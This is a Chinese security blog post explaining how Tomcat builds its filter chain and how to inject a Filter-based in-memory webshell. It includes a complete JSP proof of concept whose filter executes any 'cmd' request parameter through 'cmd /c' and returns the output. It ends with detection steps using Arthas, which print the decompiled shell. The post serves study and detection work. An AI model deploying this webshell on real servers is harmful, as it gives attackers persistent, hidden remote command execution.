[Java安全]—再探Filter内存马

已于 2022-12-08 18:27:31 修改
阅读量600 收藏 1
点赞数
CC 4.0 BY-SA版权
分类专栏： Java 文章标签： java 安全 servlet
于 2022-12-03 13:07:17 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_54902210/article/details/128160402

前言

关于tomcat反序列化注入回显内存马问题中，就是通过filter内存马进行反序列化动态注册的，但filter内存马由于当时学的时候就没有学的很明白，所以打算重新回顾一下。

前置知识

Tomcat 与 Servlet 的关系

Tomcat中有四种类型的Servlet容器，从上到下分别是 Engine、Host、Context、Wrapper

  1. Engine，实现类为 org.apache.catalina.core.StandardEngine
  2. Host，实现类为 org.apache.catalina.core.StandardHost
  3. Context，实现类为 org.apache.catalina.core.StandardContext
  4. Wrapper，实现类为 org.apache.catalina.core.StandardWrapper
  • Wrapper实例表示一个具体的Servlet定义，StandardWrapper是Wrapper接口的标准实现类（StandardWrapper 的主要任务就是载入Servlet类并且进行实例化），Wrapper 主要负责管理 Servlet ，包括的 Servlet 的装载、初始化、执行以及资源回收
  • Context 表示一个 Web 应用程序，而一个 Web 程序可 能有多个 Servlet(即：Wrapper)
  • Host 表示一个虚拟主机，或者说一个站点，一个 Tomcat 可以配置 多个站点（Host）；一个站点（ Host） 可以部署多个 Web 应用(即：Context)
  • Engine 代表 引擎， 用于管理多个站点（Host），一个 Service 只能有 一个 Engine

他们之间也就是一种父子关系：

image-20221203081413310.png

关键类

  • FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
  • FilterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain：过滤器链，该对象上的 doFilter 方法能依次调用链上的 Filter
  • WebXml：存放 web.xml 中内容的类
  • ContextConfig：Web应用的上下文配置类
  • StandardContext：Context接口的标准实现类，一个 Context 代表一个 Web 应用，其下可以包含多个 Wrapper
  • StandardWrapperValve：一个 Wrapper 的标准实现类，一个 Wrapper 代表一个Servlet

原理

Servlet 有自己的过滤器filter，可以通过自定义的过滤器，来对用户的请求进行拦截等操作。

image-20220715213532387.png

经过 filter 之后才会到 Servlet ，那么如果我们动态创建一个 filter 并且将其放在最前面，我们的 filter 就会最先执行，当我们在 filter 中添加恶意代码，就会进行命令执行，这样也就成为了一个内存 Webshell，所以就需要我们想办法在最前方注册一个恶意的filter并执行。

Filter注册流程

先看一个正常的demo

filter.java

package memoryshell;

import javax.servlet.*;
import java.io.IOException;

public class filter implements Filter {

    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("Filter 初始化创建");
    }

    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("执行过滤操作");
        filterChain.doFilter(servletRequest,servletResponse);
    }

    public void destroy() {
        System.out.println("Filter 销毁");
    }
}''
    ]]

web.xml

<filter>
    <filter-name>filterDemo</filter-name>
    <filter-class>memoryshell.filter</filter-class>
</filter>
<filter-mapping>
    <filter-name>filterDemo</filter-name>
    <url-pattern>/*</url-pattern>
</filter-mapping>

运行后成功触发

image-20220715112206095.png

createFilterChain

在 StandardWrapperValve 中会利用 ApplicationFilterFactory的createFilterChain()方法来创建filterChain

image-20221203085929212.png

跟进看一下，先通过请求获取到了filterChains，而此时其中没有任何值为null，所以又实例化了一个ApplicationFilterChain

image-20221203101217812.png

在下方获取到了wrapper的父类，根据前置知识中的tomcat与servlet关系也不难看出，warpper的父类也就是context，而context的实现类是StandardContext，因此在下方也可看出context的类型 也就是该类型。

之后通过context获取到了filterMapper

image-20221203092230143.png

FilterMaps：存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern

image-20221203092646247.png

接着在下方会对FilterMap进行遍历

image-20221203094140721.png

①：if判断，第一个matchDispatcher就不看了，就是匹配一下请求返回true，跟进下第二个matchFiltersURL()

其实就是匹配URL中的请求与与 FilterMap 中的 urlPattern中的是否一直，这里由于是/*所以直接返回true了

1%S8$G[06(ZZQ)EJD}04}JS.png

②：根据filterMap的filterName获取filterConfig(主要存放 FilterDef 和 Filter对象等信息)，由于是第一轮遍历，因此也就获取到了我们自定义的filter类和filterName

③：将 filterConfig 添加到 filterChain中，跟进addFilter函数

image-20221203095156354.png

在addFilter函数中首先会遍历filters，判断我们的filter是否已经存在（其实就是去重)

下面这个 if 判断其实就是扩容，如果 n 已经等于当前 filters 的长度了就再添加10个容量，最后将我们的filterConfig 添加到了filters中

至此filterChain就装配完了

doFilter

回到createFilterChain的位置，继续向下看，调用了doFilter()

image-20221203095757459.png

跟进后下边又调用了internalDoFilter()

this.internalDoFilter(request, response);

image-20221203100147801.png

①：pos的默认值是0，所以filterConfig取出来的数据也就是filters[0]，而在createFilterChain最后的addFilter函数中提到过，最后将我们的filterConfig 添加到了filters中，所以第一条数据就是我们自定义的filter类，第二条是tomcat原生的。因此这里第一轮遍历也就是获取到了自定义的filter类

②：通过getFilter()获取自定义的filter类，并将该值赋给filter属性

③：调用filter属性的doFilter方法

image-20221203100629137.png

流程总结

  1. 获取context容器，并从中取出filterMap，接着根据filterMap获取filterConfig并将它追加到了filterChains中
  2. 将filterChains中封装的filters数据，赋值给filterConfig，filterConfig通过getFilter方法获取到了自定义的filter类
  3. 调用该类的doFilter方法

内存马注入

获取context

在上边流程中提到，首先是通过StandardContext类型的context属性中获取的filterMap，那么我们如何获取这个context 呢？

当Web容器启动时，都会创建一个ServletContext上下文环境

context是ApplicationContext类型的，而ApplicationContext又是ServletContext的实现类，因此可以通过该方式，将ServletContext转为 StandardContext 从而获取context

ServletContext servletContext = req.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
// ApplicationContext 为 ServletContext 的实现类
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
// 这样我们就获取到了 context
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

还有其他的获取方法：

从线程中获取StandardContext

如果没有request对象的话可以从当前线程中获取

https://zhuanlan.zhihu.com/p/114625962

从MBean中获取

https://scriptboy.cn/p/tomcat-filter-inject/

注入内存马

解决了context问题后，可以根据上边流程发现，其实主要就是用到了三个属性filterMap、filterConfig、filterDef

  • FilterDefs：存放FilterDef的数组 ，FilterDef 中存储着我们过滤器名，过滤器实例，作用 url 等基本信息
  • filterConfigs：存放filterConfig的数组，在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • filterMaps：一个存放FilterMap的数组，在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  1. 创建恶意 Filter类
        //1、创建恶意filter类
		Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null){
                    byte[] bytes = new byte[1024];
                    //Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start();
                    Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes,0,len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {

            }
        };

2、利用 FilterDef 对 Filter 进行封装并添加到FilterDefs中

//2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName("Sentiment");
filterDef.setFilterClass(filter.getClass().getName());

// 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
standardContext.addFilterDef(filterDef);

3、将FilterDefs 添加到FilterConfig

//3、将FilterDefs 添加到FilterConfig
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put("Sentiment",filterConfig);

这里需要注意：

像FilterDef、FilterMap是都有对应的add方法的，但是FilterConfig没有，因此是通过反射获取filterConfigs属性进行的赋值

image-20221203125621694.png

4、创建 FilterMap ，将Filter 和 urlpattern 相对应，存放到 filterMaps中（由于 Filter 生效有先后顺序，所以将自定义的filter放在最前面，让我们的 Filter 最先触发）

//4、创建一个filterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName("Sentiment");
filterMap.setDispatcher(DispatcherType.REQUEST.name());
//将自定义的filter放到最前边执行
standardContext.addFilterMapBefore(filterMap);

最终POC

<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<%
    ServletContext servletContext = request.getSession().getServletContext();
    Field context = servletContext.getClass().getDeclaredField("context");
    context.setAccessible(true);

    // ApplicationContext 为 ServletContext 的实现类
    ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
    Field context1 = applicationContext.getClass().getDeclaredField("context");
    context1.setAccessible(true);
    // 这样我们就获取到了 context
    StandardContext standardContext = (StandardContext) context1.get(applicationContext);

    //1、创建恶意filter类
    Filter filter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {

        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null){
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                servletResponse.getWriter().write(new String(bytes,0,len));
                process.destroy();
                return;
            }
            filterChain.doFilter(servletRequest,servletResponse);
        }

        @Override
        public void destroy() {

        }
    };
    //2、创建一个FilterDef 然后设置filterDef的名字，和类名，以及类
    FilterDef filterDef = new FilterDef();
    filterDef.setFilter(filter);
    filterDef.setFilterName("Sentiment");
    filterDef.setFilterClass(filter.getClass().getName());

    // 调用 addFilterDef 方法将 filterDef 添加到 filterDefs中
    standardContext.addFilterDef(filterDef);

    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);

    Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
    constructor.setAccessible(true);
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
    filterConfigs.put("Sentiment",filterConfig);

    //4、创建一个filterMap
    FilterMap filterMap = new FilterMap();
    filterMap.addURLPattern("/*");
    filterMap.setFilterName("Sentiment");
    filterMap.setDispatcher(DispatcherType.REQUEST.name());
    //将自定义的filter放到最前边执行
    standardContext.addFilterMapBefore(filterMap);

    out.print("Inject Success !");

%>

访问filter.jsp，注入成功

image-20221203125837558.png

成功执行命令

image-20221203125908930.png

内存马检测工具

arthas：https://arthas.aliyun.com/arthas-boot.jar

alibaba/arthas: Alibaba Java Diagnostic Tool Arthas/Alibaba Java诊断利器Arthas (github.com)

java -jar arthas-boot.jar

选择我们 Tomcat 的进程

输入1进入进程

利用 sc *.Filter 进行模糊搜索，会列出所有调用了 Filter 的类

利用jad --source-only org.apache.jsp.filter_jsp$1 直接将 Class 进行反编译

可以监控进程，当我们访问 url 就会输出监控结果 watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'

D:\java\Java_Security\src\main\java\memoryshell>java -jar arthas-boot.jar
[INFO] arthas-boot version: 3.6.2
[INFO] Process 13212 already using port 3658
[INFO] Process 13212 already using port 8563
[INFO] Found existing java process, please choose one and input the serial number of the process, eg : 1. Then hit ENTER.
* [1]: 13212 org.apache.catalina.startup.Bootstrap
  [2]: 20032 org.jetbrains.idea.maven.server.RemoteMavenServer36
  [3]: 11480 org.jetbrains.jps.cmdline.Launcher
  [4]: 19916
1
[INFO] arthas home: C:\Users\del'l'\.arthas\lib\3.6.2\arthas
[INFO] The target process already listen port 3658, skip attach.
[INFO] arthas-client connect 127.0.0.1 3658
  ,---.  ,------. ,--------.,--.  ,--.  ,---.   ,---.
 /  O  \ |  .--. ''--.  .--'|  '--'  | /  O  \ '   .-'
|  .-.  ||  '--'.'   |  |   |  .--.  ||  .-.  |`.  `-.
|  | |  ||  |\  \    |  |   |  |  |  ||  | |  |.-'    |
`--' `--'`--' '--'   `--'   `--'  `--'`--' `--'`-----'

wiki       https://arthas.aliyun.com/doc
tutorials  https://arthas.aliyun.com/doc/arthas-tutorials.html
version    3.6.2
main_class
pid        13212
time       2022-12-03 12:10:04

[arthas@13212]$ sc *.Filter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.AbstractMatcherFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.EvaluatorFilter
com.alibaba.arthas.deps.ch.qos.logback.core.filter.Filter
javax.servlet.Filter
javax.servlet.GenericFilter
memoryshell.filter
org.apache.catalina.filters.CsrfPreventionFilter
org.apache.catalina.filters.CsrfPreventionFilterBase
org.apache.catalina.filters.FilterBase
org.apache.catalina.filters.HttpHeaderSecurityFilter
org.apache.jsp.filter_jsp$1
org.apache.tomcat.websocket.server.WsFilter
Affect(row-cnt:12) cost in 7 ms.
[arthas@13212]$ jad --source-only org.apache.jsp.filter_jsp$1
        /*
         * Decompiled with CFR.
         *
         * Could not load the following classes:
         *  javax.servlet.Filter
         *  javax.servlet.FilterChain
         *  javax.servlet.FilterConfig
         *  javax.servlet.ServletException
         *  javax.servlet.ServletRequest
         *  javax.servlet.ServletResponse
         *  javax.servlet.http.HttpServletRequest
         */
        package org.apache.jsp;

        import java.io.IOException;
        import javax.servlet.Filter;
        import javax.servlet.FilterChain;
        import javax.servlet.FilterConfig;
        import javax.servlet.ServletException;
        import javax.servlet.ServletRequest;
        import javax.servlet.ServletResponse;
        import javax.servlet.http.HttpServletRequest;

        class filter_jsp.1
        implements Filter {
            filter_jsp.1() {
            }

            public void init(FilterConfig filterConfig) throws ServletException {
            }

            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
/*173*/         HttpServletRequest req = (HttpServletRequest)servletRequest;
/*174*/         if (req.getParameter("cmd") != null) {
/*175*/             byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/c", req.getParameter("cmd")).start();
/*178*/             int len = process.getInputStream().read(bytes);
/*179*/             servletResponse.getWriter().write(new String(bytes, 0, len));
/*180*/             process.destroy();
/*181*/             return;
                }
/*183*/         filterChain.doFilter(servletRequest, servletResponse);
            }

            public void destroy() {
            }
        }

[arthas@13212]$ watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=n ull}.{filterClass}'
Press Q or Ctrl+C to abort.
Affect(class count: 1 , method count: 1) cost in 71 ms, listenerId: 1
method=org.apache.catalina.core.ApplicationFilterFactory.createFilterChain location=AtExit
ts=2022-12-03 12:23:35; [cost=0.7065ms] result=@ArrayList[
    @String[org.apache.jsp.filter_jsp$1],
    @String[memoryshell.filter],
    @String[org.apache.tomcat.websocket.server.WsFilter],
]
Java安全之反序列化回显与内存码
lyl5454的博客
06-24 387
0x00 前言# 按照我个人的理解来说其实只要能拿到Request 和Response对象即可进行回显的构造，当然这也是众多方式的一种。也是目前用的较多的方式。比如在Tomcat 全局存储的Request 和Response对象，进行获取后则可以在tomcat这个容器下进行回显。而某些漏洞的方式会从漏洞的位置去寻找存储Request 和Response对象的地方。 0x01 Tomcat通用回显# 根据Litch1师傅的思路来寻找request,response对象全局存储的位置基于全局储存的新思路 | T
JavaWeb三大组件之一Filter(过滤器)
yahid的博客
06-04 2485
拦截所有访问web资源的请求或者响应(servlet、Jsp页面、HTML页面)，从而实现我们自己的业务逻辑，这些逻辑可以是实现访问权限的控制、过滤敏感词、压缩响应等功能。过滤器是"链接"在容器的处理过程中的，它会在servlet处理器之前访问进入的请求，并且在响应信息返回客服端之前访问这些响应信息。这样就可以动态的修改请求和响应中的内容。创建web项目： 或者像这样建立web项目： 添加Tomcat服务器： 如果没有SmartTomcat，只有Tomcat像下面图片中这样： 则选择Tomcat里面的
『Java安全』Tomcat内存马_动态注册Filter内存马
Ho1aAs‘s Blog
03-23 1757
文章目录前言Filter生命周期Filter类介绍Servlet启动流程Filter调用流程分析1. 从Standardcontext获取filterMaps2. 遍历filterMap匹配url并调用了addFilter方法添加到filterChain3. 依次调用doFilterFilter内存马原理Ⅰ. 获取contextⅡ. 生成恶意Filter用FilterDef封装添加到FilterDefsⅢ. 用filterConfig封装filterDefs添加到filterConfigsⅣ. 生成filt
Java Spring 之过滤器（Filter）详解与实战
最新发布
C_V_Better的博客
05-31 561
本文介绍了Spring框架中过滤器的使用方法和应用场景。首先阐述了过滤器的三大作用：请求处理前的预处理（如权限校验）、请求处理后的后置操作（如日志记录）以及静态资源处理。然后通过代码示例详细说明了创建过滤器的步骤：实现Filter接口并定义init、doFilter和destroy方法，通过FilterRegistrationBean进行注册配置。文章还列举了过滤器的典型应用场景，包括用户权限验证、请求日志记录和静态资源缓存控制。最后总结了Spring过滤器的核心功能，强调其在处理请求流程中重要作用。
Java web项目注册过滤器的两种方式
沐雨橙风ιε的博客
06-22 409
这篇文章分享一下Java web项目中注册过滤器的两种方式，经常用的是第二种，第一种应该很少人用过吧~
基于filter的内存马
星星我啊，已经很努力在学习了， 有人一起学习吗？Ziansec-1
01-09 1390
FilterMaps：存放 FilterMap 的数组，在 FilterMap 中主要存放了 FilterName 和 对应的 URLPattern，只要我们将filter ，FilterDefs，FilterMaps添加到FilterConfigs中就可以添加filter了。又回到之前ApplicationFilterFactory里，这里会返回filterChain这个对象，如果我们直接filterConfig的内容，是不是就能在filterChain调用addFilter时，将filter添加进去。
要看就看最好，16万字全网最硬核redis总结，谁赞成，谁反对？（被粉丝疯狂催更，已有人反馈看完专栏拿到大厂offer！！！）
Java框架、并发编程、分布式、微服务、Redis、HarmonyOS、中间件等技术
10-10 1万+
被粉丝疯狂催更，已有人反馈看完专栏拿到大厂offer，非常适合应届毕业生和初中级工程师！！！
Filter内存马浅析
angry_program的博客
05-11 2466
1. 何谓内存马？ 以Tomcat为例，内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性，只要将我们的恶意组件注入其中，就可以一直生效，直到容器重启。 Java内存shell有很多种，大致分为： 1. 动态注册filter 2. 动态注册servlet 3. 动态注册listener 4. 基于Java agent拦截修改关键类字节码实现内存shell 该文主要研究Filter内存马的原理和实现。 2. Filter注册流程 假设有一个需要注册的filter类——F.
Filter内存马
weixin_35734408的博客
11-30 66
概述 最近感冒了，不想BB太多，直接开始调试吧，先写个Filter来调试 Filter代码 新建一个FilterShell类，代码如下： 一个类如果想要成为Filter则需要继承Filter，然后重写init、doFilter、destory这三个方法，分别表示了 init:：Filter在初始化时被调用 doFilter：在Filter被命中时被调用 destory：在Filter生命周期结...
Filter 的四种注册方式
秃头y的博客
05-30 1011
目录 全局注册 ServiceFilter TypeFilter IFilterFactory 全局注册 Startup.cs ConfigureServices 添加配置 //以注册ExceptionFilter为例 services.AddControllersWithViews(options=> { //实际上是交给MVC容器来进行处理 options.Filters.Add(typeof(Cust...
Tomcat内存马学习4：结合反序列化注入
weixin_43263451的博客
07-31 1043
之前我们都是通过jsp来动态注册内存马，虽然说没有对应的filter或者servlet的class文件，但是在Web服务器中的jsp编译器会编译生成对应的java文件然后进行编译加载并实例化，所以实际上还是会落地的，如下图这里借用木头师傅的一张图所以本文的目的是通过反序列化来实现真正意义上的无文件落地内存马注入本文首先需要搞清楚为何需要反序列化注入内存马为了首先真正意义无文件落地其次要搞清楚为何要获取request对象以及如何获得剩下就是利用反序列化执行动态注册代码。......
[Java安全]—Shiro回显内存马注入
Sentiment的博客
02-20 2705
接上篇[Java安全]—Tomcat反序列化注入回显内存马_，在上篇提到师傅们找到了一种Tomcat注入回显内存马的方法， 但他其实有个不足之处：由于shiro中自定义了一个filter，因此无法在shiro中注入内存马。所以在后边师傅们又找到了一个基于全局存储的新思路，可以在除tomcat 7以外的其他版本中使用。思路仍然为寻找 tomcat 中哪个类会存储 Request 和 Response在AbstractProcessor类中发现Request 和 Response，并且是final的，这就意味着
filter 相关知识
markman101---神即是道 道法自然 如来
04-28 1329
既然Filter是一种COM组件，使用前就必须先注册。Filter的注册程序为regsvr32．exe (位于操作系统目录的system32子目录下)。假设现在有一个Filter文件，它的完整路径为C:/DSFilters/myFilter.ax，那么注册这个Filter的方法为：在命令行状态下，执行regsvr32 C：/DSFilters/myFilter.ax。随后会弹出一个对话框，告诉Fi
18.Spring Boot 注册Servlet、Filter、Listener
编码语言Codelang
02-01 9975
在Servlet 3.0之前我们都是使用web.xml进行配置，需要增加Servlet、Filter或者Listener都是在web.xml增加相应的配置即可。这里我们使用的是使用Java配置来注册Servlet、Filter、Listener。
转帖:如何注册Filter
chenyujing1234的专栏
03-21 2659
参考文章: http://apps.hi.baidu.com/share/detail/16291532   AX文件的一个对外接口DllRegisterServer，由外部调用，比如注册AX的时候：regsvr32 xxx.ax        通常情况下，我们的filter可能注册在”Direct Show”目录下，那么直接调用        // Creates registry
Java+Servlet+filter+javascript+html+jsp登入注册更新个人信息
⊙-→棒棒糖ing .____`
01-05 2654
eclipse+Java+Servlet+filter+javascript+html+jsp登入注册更新个人信息 数据库sql用vs2008或者mysql用mysql 代码粗糙，提示信息未处理融洽 软工实践的代码 配置文件两个，一个是连接sql 的，另一个是连接mysql的
Java过滤器Filter使用详解
热门推荐
mouxianbiao的博客
08-29 1万+
转载请注明原文地址：http://www.cnblogs.com/ygj0930/p/6374212.html Filter简介 　　Filter也称之为过滤器，它是Servlet技术中最激动人心的技术之一，WEB开发人员通过Filter技术，对web服务器管理的所有web资源：例如Jsp, Servlet, 静态图片文件或静态html文件等进行拦截，从而实现一些特殊的功能。例如实现UR...
Java验证码生成与Filter验证机制详解
本文将详细解析如何在Java中通过Servlet和Filter实现验证码验证机制。 首先，我们需要了解验证码的生成和验证机制。验证码通常是一个随机生成的字符串或图片，用户需要在登录表单中输入这个验证码来证明自己是真实...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值